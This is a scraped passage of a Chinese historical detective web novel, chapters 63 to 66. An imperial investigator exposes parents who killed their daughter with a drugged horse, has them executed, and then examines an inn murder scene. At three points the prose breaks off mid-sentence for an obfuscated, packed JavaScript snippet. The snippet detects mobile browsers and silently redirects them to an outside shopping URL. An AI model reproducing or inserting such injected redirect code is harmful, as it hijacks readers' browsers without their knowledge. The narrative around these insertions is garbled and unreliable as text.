张慈似有所觉:“到底……是怎么回事?” 63. 虎狼之心 李希言没有再看面无人色的高家夫妇一眼。 她转过身,对着张慈说道:“前几日,我和阿弟在集市上碰见遇见马匹受惊,当时正巧有个小姑娘就在马蹄之下,是我阿弟救了那孩子。” “你是说……”张慈眼神骤然一变,射出一道凶光,“那日差点因为马匹受惊而死的小姑娘就是今日的死者吴缤儿?” “是啊。”李希言勾起嘴角,笑容没有一丝温度,“好巧。” 二人已经达成共识,容朗更是早就反应了过来。 只有吴家人和中年男子一脸茫然。 所以呢…… 张慈压住心中滔天的怒气,绷着脸对着吴长祖夫妇问道:“案发时,是什么情况?一一说来,勿要错漏。” 吴长祖站出来,将高惠挡在身后,表情已经完全冷静下来。 “今日是下元节,所以一早我们就带着二丫去了集市,准备晚上去看灯。结果刚刚在摊上吃完早饭,就遇见了一匹疯马……二丫就……二丫就被……” 他掩面痛哭。 但是,这在李希言的眼里却满是破绽。 “那匹伤人的马可在?” 徐县尉不由自主应了一声,就像她是自己的上官似的。 “就在县衙里拴着。” “确定是伤人的那一匹吗?” “确定,现场已经有人指证过了,那是匹少见的好马,不会错。” “牵过来看看。” “是。” 看着县尉远去的背影,张慈眯起了眼。 这不是我的县衙?我的手下吗? 怎么这个女子使唤得比我还顺手? “你是何人?” 李希言此时也不愿再隐瞒身份,她摸出自己的虎符。 “绣衣司,李希言。” 饶是张慈也心肝颤了一下。 怎么?杀到叙永县衙了? 不过,身正不怕影子斜。 恐惧不过一瞬间。 他腰挺得笔直,礼貌且不谄媚地行了一礼:“下官见过李少使。” “不必多礼。”不等他问,李希言就主动说道,“今日来,是为了来福客栈罗耀被杀一案,这案子你们断错了。” 张慈皱了皱眉,板正的脸上满是不赞同。 “李少使,什么事情都要有证据,王佑年嫌疑很大,而且,下官审问过,他连案发时自己在做什么都说不清楚,只说自己在睡觉。” “对啊,凡事要讲证据,王佑年的动机是什么?” “罗耀弄污了他的宝贝金刀。” “二人争执时我就在现场。王佑年当时已经消气,并且接受了赔礼。” “所以?” “动机不足,王佑年脾气虽然暴躁,但不是有什么劣迹之人,他一个禁军为了这点事杀人,太说不过去。” 张慈还是坚持已见:“李少使累历刑狱之司,应该也见过不少激愤之下杀人的事情吧?” “若是激愤杀人,王佑年在二人起争执时就会动手,而不是在之后才去谋划。张县令,王佑年出身世家,自己也是禁军的一员,要报复罗耀这种混混,有的是其他办法,完全没必要亲手杀了他。”李希言反问,“换做是你,你会吗?” 张慈表情动摇了。 确实有些道理。 “既然张县令已经明了,就请先放了王佑年。” “下官……” “你把人放了,这案子我来办,要是凶手是王佑年,你把我脑袋砍了。”李希言心里记挂着密信的事情,说话也直接了很多。 张慈退了一步:“凶手找到,我就立即放人。” “可以。”李希言答应得爽快。 而围观的几人已经傻眼了。 他们也听说过李希言的名头,但是怎么也没想到能见着真人。 更何况…… 那可是绣衣司啊…… 气氛凝重了不少。 很快,徐县尉就牵着一匹马走了过来。 “县令,就是这匹马。” 张慈不耐烦摆了摆手。 哟,还知道他才是县令呢~刚刚屁颠屁颠的,不知道是谁的手下~ 马匹体型高大,毛色发亮,头颈高昂。 是典型的龟兹马。 和二人之前在集市遇见的那一匹一模一样。 “这样的马,恐怕整座叙永县也就一家有。”李希言走近,摸着马顺滑的鬃毛,凉凉地说道,“你说,是你自己交代,还是让人去问问,这马的主人到底是谁?” 被戳穿谎言的中年男子手足无措。 一想到对方是绣衣司的人更是害怕得话都说不出来一句。 “是我!”院门传来一声响亮的回答。 所有人转头看去。 只见一个一身凌乱,连脸上都还沾着灰的公子哥急急冲了进来。 “他是我家的管事,是我逼他顶罪的!你们不要处罚他!” 他喘着气。 “小郎君!”中年男子急得眼睛发红,对着他又是摇头又是摆手,示意他不要再说。 “好了。”李希言站在二人中间,“那日我亲眼目睹你家小郎君骑着这匹马,你再抵赖,本官就要算你诈伪之罪了。” “怎么是你?”小郎君明显也认出了二人,一脸意外,“你们怎么在这里?” “是啊,好巧。”李希言盯着吴长祖夫妇,“二位说是不是?” 面对这样的眼神,吴长祖夫妇瑟缩了一下。 李希言一步一步走近:“你们说,巧不巧?同一匹马,不到七日,连续两次发狂都让你们给撞上了?” 一旁的吴氏见状半明白半不明白。 “您是说……什么?” 这样淳朴的人怎么会想得到这些。 李希言近乎怜悯地看了她一眼。 这个孩子命好也不好。 “李少使说这话,草民听不懂。难道我们运气不好也是有什么错吗……”吴长祖一脸可怜的模样。 “你是马夫吧?”李希言忽然伸手朝着他的头飞快掠过。 他还未来得及躲开,李希言手指已经捏着了一根干草。 吴长祖咬牙:“是。” “你知道这匹马是什么马吗?” “不知道,名贵的马,草民不认识。” “这是龟兹马,不是波斯马。”李希言强调道,“是性情极其温和的龟兹马。” 张慈对马知之甚少,此时才仔细看了几眼。 还真是龟兹马! “这种马发狂的可能性本就极低,更何况还是在如此短的时间内连续两次发狂。”李希言随即问着张慈,“张县令有什么看法?” “李少使言之有理。可是,凡事要有证据。” 他本来是不太喜欢绣衣司的,但是在这件事情上他们二人的观点一致,只是他不能让这个年轻的绣衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168032|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使随意断案。 “张县令说得没错,其实证据很简单,就在马肚子里。”李希言对着马主人问道,“你……” “小子梁曲。” “梁曲,本官现在需要剖开这匹马,查验它发狂的真实原因。” 梁曲眼里闪过一丝不忍:“还有别的法子了吗?” “你应该已经发现了吧?你这匹马最近很是不对劲。” “确实……它老是蔫蔫儿的。” 马似乎感知到了主人的情绪,眨了眨微红的眼。 “这马极有可能已经被下了疯马草这一类的药,就算我们今日不剖开它,它过不了多久也会死。”李希言拍了拍他的肩膀,“人命关天。” 梁曲确实纨绔,但是在大是大非面前还是很清醒的。 不然,他也不会在得知管事被父亲指派为自己顶罪后,从家里逃出来自首了。 “好,那你们……你们轻一点,别让它……”梁曲捂住脸,想要掩饰自己的泪,“别让它太疼。” 容朗安慰道:“本来就要先将马迷晕才能动手。” 梁曲透过指缝,窥视了一眼马儿,缓缓点了一下头。 解剖马匹的事情交给了县衙完成,而李希言在这段等待的时间中去做了其他事——验尸。 验尸房内,容朗已经换好衣裳,掀开了盖着孩子的那层白布。 这个孩子,几日前还在他怀里……活生生的。 此时,却已经是死人的模样——灰白的脸,惨青的唇。 他的手有些发抖。 “帮她找出凶手。” 耳边的声音清冽却温暖。 “好。我们要验什么?” “主要验尸体的手掌的小臂,要看清楚伤口是怎么形成的。” 容朗挽起尸体的袖子开始查看。 孩子的手臂上分布的伤口不少,还夹杂着很多灰尘,脏脏的。 他伤口先清理干净,才看得清伤口的形状。 “几乎全是挫伤。” “没有擦伤吗?” “极少。” 容朗又验了一遍其他的部位的外伤。 “其他部位的伤也是以挫伤为主,主要分布在双腿小腿正面。” “手掌上呢?” “伤口很少,几乎可以忽略不计。” “已经足够了,不用再验了。” 容朗一边给孩子收拾着遗容,一边问道:“姐姐,这些伤口能证明什么呢?” “孩子很有可能是被推出去的,而不是自己摔伤的。” “嗯?” “人被推倒的话是来不及防备的,所以会直接倒下。但是如果是自己不小心摔倒就来得及反应,会用手去支撑自己的身体,从而会在手掌以及双手小臂这样的部位留下很多擦伤。” “那岂不是……” “这只能验证想法,并不一定准确。”李希言推开门,“还是要看看马那边的情况如何。” 冬日的冷风让人脸上有些冷得发痛。 “如果是真的,会怎么样?”容朗给孩子扎着小辫子。 “你希望是真的吗?” 容朗手上的动作一顿:“事实不会因为我个人的意愿而发生变化。况且……”他摸出一根头绳,把辫子绑好,“他们当时抛弃孩子的行为也是一种杀害。” “跟我出去一趟。” “去哪儿?” “去找动机。” 64. 刑罚 “李少使?”张慈颇有些激动地站了起来。 李希言指了指带来的一个中年妇人。 “这是本地的人牙子。你来说,两年前,高惠找你做过什么?” 妇人有些胖,刚刚走得急,此时有些喘不过气,平复了一会儿才说道:“高惠两年前找民妇问买个孩子要多少钱。” “买孩子?买什么孩子!”张慈呵问。 “是……是说要买个十岁的小姑娘。”妇人面露不屑,“说是做童养媳,还说什么要吃得少能干活好生养,还要长得好。这哪有事事都能占完的。” 李希言打断她的抱怨:“你当时怎么回答她的。” 妇人明显是有些怕她,立刻收起叉着腰的手,站直了些。 “这要满足这些条件的孩子自然不便宜,民妇就给她报了价,说是要八十两。这都能做活儿的孩子自然是要贵些的,民妇可没乱要价。” “还有吗?” “有啊,她后来还问我六岁的小姑娘能卖多少钱。六岁的孩子可做不了太多事,只要不是生的好看的,都只能卖个二三十两银子。” 一件往事,彻底揭开了吴长祖夫妇的面具。 李希言俯视着二人,语气似乎毫无起伏。 “两年前,你们二人生下唯一的儿子后,为了凑买童养媳的钱,就把主意打在了自己的孩子身上。最开始你们想卖掉孩子,却发现这孩子卖出去的钱远远不够。于是,你们就换了个法子。你在马匹食用的草料中掺了疯马草,又故意带着孩子往马匹会经过的集市等待时机。等马匹一发狂,你们就把孩子推了出去。第一次,遇见了我们,孩子得救了,但是第二次……” 她阖了阖眼:“你们成功地害死了她。” “没有!我们没有!”吴长祖夫妇不住地摇着头,嘴里只有无意义的反驳。 巨大的哀痛之中,吴家人愣在原地,像是被抽走了灵魂的木偶一般。 蓬勃的怒气无法压制,李希言连连发问。 “不然你们怎么会随身携带户籍凭证?不然孩子身上怎么会有被推倒的伤痕?不然马匹怎么会被你喂下疯马草?” 吴长祖夫妇吓得直往后退,腿一软,直接摔倒在地上。 两张看似忠厚的脸上是单纯的恐惧。 没有后悔,一丝都没有。 极度的厌恶让李希言的胃都有些疼痛,她转过头,不愿再看。 “物证齐全,动机明确,你们抵赖也无用。张县令……” 张慈颔首:“吴长祖夫妇,为骗取钱财,在梁家的马匹中故意投放疯马草,致使马匹发狂,踩踏幼女吴缤儿致死。所作所为违逆天良,蔑视律法,故以故杀之罪判其斩刑。” 惊堂木一响,吴长祖霍然抬起头:“不对!我们是她爹娘就算是杀了她那也是……我自己的孩子,衙门凭什么管!” “未经官府,无故杀子,徒刑一年半。” 吴长祖听了张慈这话,眼睛一下就亮了。 “但是。”张慈一拍惊堂木,“‘所养父母无子而舍去者,徒二年。’按律,你们二人遗弃孩子还要加判两年。再加上你们行为恶劣,杀害亲子,算是十恶不赦之罪,故重判后,以斩刑论处。” 吴长祖大喊:“罪加一等我们也只该是流放!” “那就看大理寺最后会不会同意本官的判罚。”张慈一脸无所谓。 “我要告你!”吴长祖失控地指着他,振振有词,“狗官!等我们被押去了京城就告你贪污受贿,告你草菅人命!” “不必这么麻烦。”李希言忽然开口。 已经疯狂的吴长祖一下顿住了动作,扭头看着她。 什么意思? “‘既有不法,可代天子行事。’这是陛下给绣衣司的权力。”李希言找了个位置坐下,翘起腿,“直接拖出去砍了。” 张慈有些犹豫。 他是个讲原则的人…… 对绣衣司可以越权行事这一点其实是颇有微词的。 见他久久不动,李希言撑着腮边问道:“怎么?张县令没听清,需要本官来亲自动手?” “李少使。”张慈劝道,“按照律法,死刑应该送交刑部和大理寺审核后才可……” “夜长梦多。本官等不及要看着他们死。” 张慈一脸不赞同:“李少使!” “你就敢保证刑部和大理寺的人也会如同你一般通晓人情吗?” 张慈神色微动。 这案子就算是数罪并罚,罚下来也应该只是流放,不至于死刑,从重判决是他在“量情处分。” 可是……每个人的衡量是不同的。 “张县令是准备放过这两个杀人犯?”李希言问道。 吴缤儿的尸体在张慈眼前闪过,他下意识捏紧了拳头。 “来人!将人带去南市,立即斩首示众!” 杀人偿命,天经地义。 谁人无子无女? 气愤的衙役们早就等不及了。 一把架起高长祖夫妇就拖走了。 吴家人看着被拖远的二人,干涸的眼已经流不出泪。 “缤儿……”吴老汉喃喃地喊着。 吴氏扶着他的胳膊:“爹,我们走吧。” “走……”吴老汉动作迟缓,向前走了一步,“走?” 吴氏扯起嘴角:“我们先去接娘,在带缤儿一起回家。” “带缤儿回家……对……”吴老汉向前蹒跚着,“和老婆子,一起带缤儿回家……给她买糖葫芦,买红头绳……” 张慈给徐县尉使了个眼色,示意他带人离开。 “是。”徐县尉走到吴家人前面引着路。 张慈只觉得心里堵得慌,长长呼出一口气,想要排除心中的气结。 “张县令,这案子还没完吧?”李希言提醒道。 是,这案子确实还没完。 “梁曲!”张慈看着站在大堂中间的年轻男子。 梁曲擦了擦泪:“都是我的错。如果不是我不守规矩,就算他给马喂了疯马草,孩子也不会出事。”他跪了下来,重重磕了一个头,“是我害死了孩子。请县令处罚。” “早知今日何必当初。”看见他这样,张慈更是气闷,“明明已经出过一次事,却还是不改。纵马致人死亡,以斗杀论处,流放三千里。念在此案情况特殊,你也算有悔过之心,减一等,改为流放两千里。梁家也需要补偿吴家损失,粗略估计五百两。” 梁曲什么都没有说,老老实实领了罚:“罪人领罚。” “把人带下去吧。”张慈摆摆手。 “等等!县令!”梁曲突然喊道,“我家的管事。” “关他一个月。” 处罚不算太重,梁曲放下心,跟着衙役走了。 案子算是尘埃落地。 大堂内却很是沉默。 直到张慈再次开口:“李少使之前所言……” 密信的事是不能说出去。 李希言含糊道:“那四名禁军身上本就有紧要公务要办,为了那点事情杀人,你不觉得很奇怪吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175031|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >来福客栈的杀人案,涉及到京城的禁军。 身为此地的官员,张慈自然是有了解过。。 动机确实不足。 只是那刀上的血迹可做不了假,又偏偏只有那王佑年手里有院门钥匙。 更何况…… “李少使有所不知,当日,我就提审了王佑年,问了他当晚在做什么。只是此人支支吾吾,就一口咬定当晚自己在卧房内休息。可是看他的样子,明显是在说谎。” 李希言本来也不是想为难他,退了一步。 “这样吧,让我先见见他。” 张慈起身:“李少使,请。” 因为没有被定罪,作为嫌犯人的王佑年被关在监牢靠外的位置。 进入监牢大门后再朝里走几步路就到了关押他的牢房门口。 他正缩在角落里随意靠在墙上,呆呆地望着高处的小窗。 四周环境还算看得过去,不脏不乱。 李希言敲了一下锁着牢门的铁锁。 铁锁一动,发出哗啦啦的声音。 正出神的王佑年缓缓转过头。 四周有些昏暗,只能接着门口黄色的烛光才能看得清楚些。 他起身走近,在看清来人的脸时,布满血丝的眼睛骤然睁大。 “娘诶!” 他叫着向后一倒,坐在地上,像是见了鬼一样。 “老子还没死吧?怎么都见着活阎王了?” 相当响亮的声音让在场的人都听得清清楚楚。 所有人不由把视线投向了李希言。 李希言脸已经黑透。 她就不该好心过来! 另外三个禁军立即大声咳了几声。 “你傻了!是我们啊!” 魂不附体的王佑年这才回过神。 李希言对着他笑了一下。 老天爷!他现在装晕还来得及吗? 事实摆在眼前,没法逃避。 王佑年一步一步走到牢门前,垂着头,拱手行礼。 “下官见过李少使。” 李希言懒得计较这些小事,说起正事。 “案发那晚,你在何处?” “我……” 如同张慈所言,一提到此事,王佑年就明显慌张了。 “在房里?可出过门?” “没有!”这一次,王佑年的回答斩钉截铁,没有犹豫。 看上去不像是撒谎。 “既然没有出过门,有什么不好说的?”李希言不耐地斜了他一眼,“又不是什么见不得人的……” 闪躲的眼神让她一顿。 “真做了什么见不得人的事?” 王佑年忸怩地扯着手指。 “没有……” 一直没说话的容朗直接拆穿了他们。 “姐姐,他们肯定是找了青楼女子寻欢作乐!” “你放屁!”王佑年抬起头瞪他一眼。 然而下一刻,对方的脸让他的眼珠子差点掉出来。 “长……长……” 余锐闭上眼。 不管了,死去吧…… “常校尉。”容朗面色不改,一脸微笑,“没想到王郎君还记得我呢。” 王佑年努力把“王爷”两个字咽下去,勉强笑了一声:“是……是啊,常校尉!” “所以,你们那晚确实是找了青楼女子寻欢作乐,是吧?”容朗笑眯眯的。 见不得自己同僚的傻样,余锐心一横,站了出来:“也不完全是……” 65. 现场 是就是,不是就不是。 “什么叫做不完全是?”李希言觉得好气又好笑。 余锐也不再遮掩:“那晚,我们确实叫了一个青楼女子来屋内,但是,没有……没有寻欢作乐。” “对。”李希言讽刺道,“是叫来陪你们苦读诗书练剑的?” 余锐被臊得脸通红。 “只是让她唱了歌跳了舞,陪我们喝了些酒。” “谁叫来的?” 王佑年弱弱举起手:“我……” “前因后果。” “那日,我在外面买了一瓶好酒,就想着晚上和弟兄们一起喝些。碰巧遇见了那个姑娘,我见她唱曲儿唱得好就把她带回房了想着让她助助兴。”王佑年举起手发誓,“我们真的没做什么,连她在屋内小解更衣,我们都没有冒犯她……” “怎么?还要本官夸你?”李希言真是有些无言,“然后呢?” “然后……然后我们就喝醉了,等到快五更天的时候才醒。” “什么时候喝醉的?” “三更天吧。” 也就是说,他们在子时前喝醉,子时后醒来。 “那个青楼女子……” “她比我们还醉得厉害呢。”王佑年记得很清楚,“我们醒了她还没醒,后来我叫醒她,卯时的时候,我们一起出的门。” “当时,房门可锁上了?” “没有。”王佑年一脸后悔,“那贼人肯定是那时候偷了我的金刀……” 没有更多的线索了。 李希言还是决定从头查起。 “张县令,今日就打扰了,我们先回客栈。” 张慈猜到她的想法:“等会儿我让人把验尸格目以及卷宗给您送去。” “好,劳烦了。” 二人客气了一番,准备离开。 王佑年一下急了。 “李……李少使,我……我呢?” 李希言转过身,横了他一眼:“呆着,反正死不了。” 她说完就走,脚步飞快。 另外三个禁军也只能跟上,用眼神安抚了一下他。 “诶诶!”王佑年在后面大喊,“别啊!李少使!您不要那么小气啊!我不是故意叫你外号的!” 李希言的脚步更快了。 六娘这个堂哥怎么是个傻子! 回到客栈,李希言也没有休息,吩咐那三个禁军换个房间住后就带着容朗就去了命案发生的现场——罗耀居住的东厢房。 屋内摆设还算不错,样样俱全。 冯老板夫妇真是厚道过头。 李希言环顾四周的布局。 一进门就是一张圆桌,右手边靠墙放着床,床沿到床旁边那一块儿满是已经干枯的褐色血迹。 左手边放着柜子,条桌和一个书架。 书架上空荡荡的,已经布满了一层灰。 二人不约而同看向了柜子。 柜子打开,一股复杂的臭味扑面而来。 劣质脂粉气味、霉味、汗臭味。 容朗飞速抽出帕子捂住了李希言的口鼻。 “这人也太不讲究了!” 李希言自然地按着手帕,容朗这才又抽出一张手帕捂住自己的口鼻。 柜子里东西不多,就是几件衣裳和被褥。 李希言将衣裳抖开。 一张纸片掉了出来,飘落在地上。 “什么东西?”容朗弯腰捡起,“是……地契?” 李希言接过:“他还能有地契?” 不是她看不起罗耀,而是这人不是还签了一屁股债吗? 地契上的地址是叙永本地一个繁华路段的门店地址。 价格应该不低。 只是…… 李希言指着地契上一半的骑墙印:“边缘清晰整齐,是假的。” “他伪造这个做什么?” 李希言将地契收好:“左不过在‘坑蒙拐骗’四个字里面打转。” “他柜子里一分钱都没有哦。”容朗把检查完的柜子关上。 “再看看,或许放在其他地方。” 李希言转身朝着床的方向走去。 地上的血迹一片一片的,却几乎没有脚印。 脚印都很不完整…… 床沿附近的血最多。 边上的地面上就是一大片,四周全是喷溅出去的血迹。 床沿的血迹少些,形状也有些特殊。 面积大,颜色浓淡不一,有明显的并行线条状擦纹。 在床上的血迹分布就更加没有规律了。 “凶手是在床边给了罗耀一刀。罗耀死后,他又将尸体挪到了床上。” 容朗有些疑惑:“他费力气移尸做什么?” 这样大的动作,一定是凶手有目的的行为。 “遮掩线索?”李希言忽然问道,“这里没找到脚印,凶手相当谨慎。” 飞溅的血迹痕迹很是清晰,未遭到什么破坏。 “这几个脚印不是凶手的吗?” 容朗指向的地方确实有几个脚印,脚印不大,只有七寸,比李希言的脚要小些。 “这脚印……”李希言摇摇头,“这脚印有些不对。你看……脚印的前面和后跟压得很实,脚弓的部位却是空的。凶手故意穿了比自己脚小的鞋子。” “我有个法子可以推测出凶手的大致体型。” “这也行?”李希言有些意外。 容朗指着墙上的血迹。 “这些血迹都是弧形分布,起始点多是圆形,到后面就成了椭圆形。这是凶手用刀杀人后,刀上的血被抛甩出去造成的。从这些血迹的形态数量就可以大致判断出凶手的体型。” 他说完站在干涸的血泊旁,做了个拔刀甩出的动作。 “像我,个子高一点,抛甩出去的血迹也会高一点。等会儿我来拿把刀试一试,就能大概确定范围。” 即使是冬日,屋内的血腥气还是让人闻着难受。 “也好,那我们先回去,张县令的验尸格目和卷宗应该快送来了。” 能锁定凶手的体型范围,也算是收获。 二人刚刚一回到房,就有人敲响了门。 “李少使,县令让下官给您送验尸格目和卷宗。” 声音是县衙的徐县尉。 李希言立即让他进来。 这案子是他接手的,他肯定已经查出了不少线索。 “快进。” 门被推开,徐县尉拿着一厚叠卷宗走了过来,放在了桌上行了个礼。 “这是罗耀被杀案的所有线索。李少使可还有什么需要的?” 李希言拿起卷宗,随意指了个位置:“你先坐着,我还有事要问你。” 她指的位置就在自己左边。 “是……”徐县尉刚要坐下,却感觉到一道强烈的视线投射在自己的身上。 他抬起头,和笑得狰狞的容朗对上了视线。 啧! 他咂咂嘴,坐到了对面。 比衙门里的大黄狗还护食。 正在看卷宗的李希言对此毫无所觉,甚至还把看完的格目推到了容朗面前。 “你们查了这么几日就没有进展吗?” 卷宗上只有罗耀的生平。 徐县尉心虚地低下头:“下官当时想着凶手不是那个……王佑年,所以这才疏忽了。” “刚刚看完现场。凶手故意穿了一双七寸的鞋子,掩饰自己的足印。” “七寸?这么小的鞋子,是姑娘穿的鞋吧?” “是与不是不重要。一条线索,今晚,王……”李希言转了个弯,“我们会确定凶手大致体型,到时候还要你们衙门配合找人。” 徐县尉好奇得不得了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14184034|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“咋确定啊?那脚印不都是作假的吗?” “血迹。”李希言看了一眼容朗,“他会,我也不懂。” 哟,这白脸小子还不是花架子呢! 徐县尉饶有兴趣地看着容朗:“常校尉,你还会这个?” 容朗有些没反应过来,直到李希言咳了两声他才回过神。 刚刚在监牢随口撒的谎…… “会些,不多。” “谦虚!”徐县尉拍了一下他的胳膊,“我可没听说过谁能通过血迹确定凶手体型的。不过,我看你像个富家子弟,怎么会学这些?” 容朗隐秘地瞧了一眼还低着头看卷宗的李希言。 徐县尉敏锐捕捉到他的视线。 “明白了明白了!” 他比了个大拇指。 厉害啊,为了追心上人,连验尸都学。 “这个沈坤是本地人,怎么那日也住在客栈?” 李希言忽然发问。 “他呀?这人和冯老板是朋友。案发前几日,他和他夫人吵了架,被赶出家了,就来了客栈暂住。” “此人和罗耀可认识?” 李希言带着几分疑心。 客栈晚上是不能进出的,街上也有宵禁。而客栈内的住客,只有这个沈坤是本地人,且和冯老板认识。此人所住的房间还与罗耀所住的东厢房只有一墙之隔。 “认肯定是认识的,但是应该不是很熟。这个沈坤是个做生意的正经人,怎么会和罗耀打交道?” 李希言放下卷宗站起身对着容朗说道:“我先去问话。你等会儿把血迹验了。” 徐县尉抢先道:“我给常校尉搭把手。” 走到沈坤的房门口,就听得见里面微微的鼾声。 李希言敲了两下门。 鼾声停住。 “谁啊……” “衙门有事。” “有事啊……” 里面传来窸窸窣窣的动静,不到片刻,门就打开了。 是个四十左右的男子,穿着酱色绸缎衣裳。 沈坤揉了揉眼睛:“衙门……”他愣了一下,“女人?” “徐县尉有事,托我来问话。” 面前这女子不像是普通人。 沈坤连忙收起惊讶的表情:“您请问。” 二人进了屋,李希言也不坐,直接问道:“您是本地人,为何还要住客栈?” 沈坤脸色红了红:“我老爱喝酒,为了这事儿,我家夫人把我赶出来了。” “就为了喝酒?” 沈坤挠了挠脑袋,一脸真诚:“不然呢?” “那你为何住到来福客栈?” 沈坤面露窘迫,双手搓了搓大腿。 “当时,我身上就只有吃饭的钱。无奈之下,才厚着脸皮上门求老冯收留我。老冯说反正这屋也空着,就让我先免费住下。” 这倒是很符合冯老板的行事作风。 “你认识罗耀吗?”李希言平淡的眼神落在他的脸上,想要找出所有痕迹。 “认识!怎么不认识?”沈坤厌恶地皱了皱鼻子,“老冯摊上这么个小舅子,真是倒了八辈子血霉!” “你和他熟吗?” “不熟。”沈坤反驳得极快,又补充道,“谁和那种人渣关系近啊?要不是老冯,我在路上见这种人都要捏着鼻子绕着道走。” “案发当晚你在何处?” “大晚上的,肯定是在屋里睡觉啊。” “罗耀的房间和你的房间只有一墙之隔,你那晚可听到了什么动静了吗?” 沈坤用力摇了摇头:“没有。我什么都没听到,什么都没看到。当时睡着觉呢。” “是吗……”李希言声调扬起,“那我就先去回话了。” “娘子慢走。” 她转过身,跨出门,脸色一沉。 为何要撒谎? 66. 惟人自召 东厢房内。 徐县尉缓缓收回刀,拿出帕子把上面的血迹擦了擦。 “常兄弟,行了吗?” 容朗点头。 “凶手体型不算特别健壮,身长在五尺一寸到五尺三寸左右。” 徐县尉叹了口气:“这体型,满大街都是啊,怎么找啊?” 对于外人,容朗没有那么多闲心。 他理了理衣裳,准备离开。 “常兄弟!”徐县尉忽然叫住他,眼里闪着绿光。 “什么事?” 徐县尉上前几步,凑到他面前,贼兮兮地问道:“你和李少使什么时候认识的?是这两年吗?” “我们早就认识了!”容朗很是激动,强调道,“我们是青梅竹马!” “啊?”徐县尉拍了一下他的胸口,“那她之前咋和周彻订婚呐?我看她挺喜欢你的啊。” 一箭穿心。 空气中仿佛传来什么东西碎掉的声音。 “徐县尉该回去了。” 察觉到了气氛的不对,向来心直口快的徐县尉立即闭了嘴,假笑了两声,挥挥手溜了。 “先走了!先走了!” 筷子和瓷碗碰撞的声音很是清脆。 烛火下,二人沉默相对,吃着饭。 太安静了。 李希言不自在地放下筷子。 “今日是怎么了?” “嗯?”容朗看着她,下垂的眼尾微微发红。 李希言垂下眼:“你……”她抬起头,和他对视,“心情不好?” 容朗呼吸一滞,失落地“嗯”了一声。 “谁惹你了?” “没有……”容朗用筷子在碗里戳着,“姐姐,你当时为什么会和周彻订婚啊?” 烛火一闪,李希言心里猛地跳了一下。 “你问这个做什么?” “我……”容朗的声音染上几分艰涩,“就好奇。” 李希言的语气风轻云淡,仿佛谈论的不是自己的婚事。 “和他说得到一块儿去,再加上他人不坏,就答应了。没想太多。” “那后来……” “他让我辞官。” 容朗一下睁大了眼:“什么?!他怎么这样!” “也不奇怪。”李希言还是那副不甚在意的模样,“他在边关驻守,确实是需要妻子在内宅主持家事。这种事情,也没什么对错。” 她话说得潇洒,甚至还开了个玩笑:“我也有同样的要求呢。” “那也不能让你辞官。”容朗在关于她的事情上才不讲道理。 对方为了坐稳这个位置付出了那么多不说,这世上哪有让别人放弃权位去屈就自己的道理? 周彻真是让人讨厌! 才不像他…… 要是姐姐愿意和他在一起…… 看他一脸傻乐,李希言忍不住弹了他的额头一下。 “笑什么?” 容朗抿着嘴唇:“没有……我只是觉得,姐姐没和他在一起是对的。” “唉……”李希言撑着脑袋,“要是我大师兄也能像你这样讲道理就好。” 容朗义正言辞:“国师肯定是被周彻小人蒙蔽了!” “别胡说。”李希言失笑,“周彻人不错的,到时候,你和他打打交道,说不定还会觉得很合拍。” 谁要和他合拍…… 不对! 容朗声音都变调了。 “我和他打交道干嘛?!” 他产生了不好的联想。 渣爹活着的时候也常这样对那些刚入宫的妃嫔说这样的话! 李希言一脸莫名:“你激动什么?”她解释道,“我们把南诏的事情办完了就要去一趟凉州啊。” “哦……哦!”容朗又激动了起来,“去凉州干嘛?” “还不是为了你大侄子。”李希言瘪瘪嘴。 她还不乐意去呢。 容朗尴尬地清了清嗓子。 “我这不是……这不是……” “你和周彻有矛盾?”在李希言的印象中,对方是一个还算是宽和的人,并没有太多皇室子弟的倨傲。 怎么偏偏和周彻过不去? 周彻性子冷说话直,但是并不轻易会得罪谁。 “没……”容朗看着她探究的眼神,几乎快要忍不住说出真相的冲动。 可是,一想到她似乎完全不认识自己这回事…… 小心思作祟,他还是忍了下来, “我就是……就是……不喜欢凉州。” 明明知道他说的不是实话,李希言也没有再追问。 “现在心情好些了?” 清冽的女声尾调带着温柔的气息。 容朗耳朵红得像是滴血一般:“好多了。” “那就好好吃饭。”李希言伸出筷子给他夹了一筷子油亮亮的糖醋小排。 甜甜的酸酸的,肥瘦适中的小排一口咬下去又软又嫩,汁水充沛。 “嘴角。”李希言指了指他嘴角的酱汁。 容朗没有去擦,反而拿着筷子眼巴巴地看着她。 “怎么了?”李希言以为他没带手帕,掏出自己的一脸真诚递给他,“没用过,干净的。” “撒娇”失败的容朗一口气憋在胸口,抽过帕子擦了一下,动作流畅地揣进了自己怀里。 李希言尴尬地收回手。 这人怎么用了别人东西不还…… 那手帕也不值钱,她还真不好意思开口讨回。 有点肉疼。 